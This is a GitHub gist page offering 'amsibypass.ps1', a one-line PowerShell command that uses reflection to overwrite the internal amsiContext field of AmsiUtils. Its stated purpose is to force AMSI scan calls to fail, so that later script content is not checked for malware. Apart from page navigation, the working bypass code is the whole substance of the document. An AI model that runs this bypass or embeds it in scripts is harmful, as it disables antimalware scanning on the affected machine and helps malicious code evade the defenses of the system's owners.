0x4243/amsibypass.ps1

Forked from mattifestation/amsibypass.ps1

Created July 18, 2017 22:22

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/0x4243/514acd6ed98658d79ca6dd028fe4a30f.js"></script>
Save 0x4243/514acd6ed98658d79ca6dd028fe4a30f to your computer and use it in GitHub Desktop.

Download ZIP

Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG

Raw

amsibypass.ps1

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment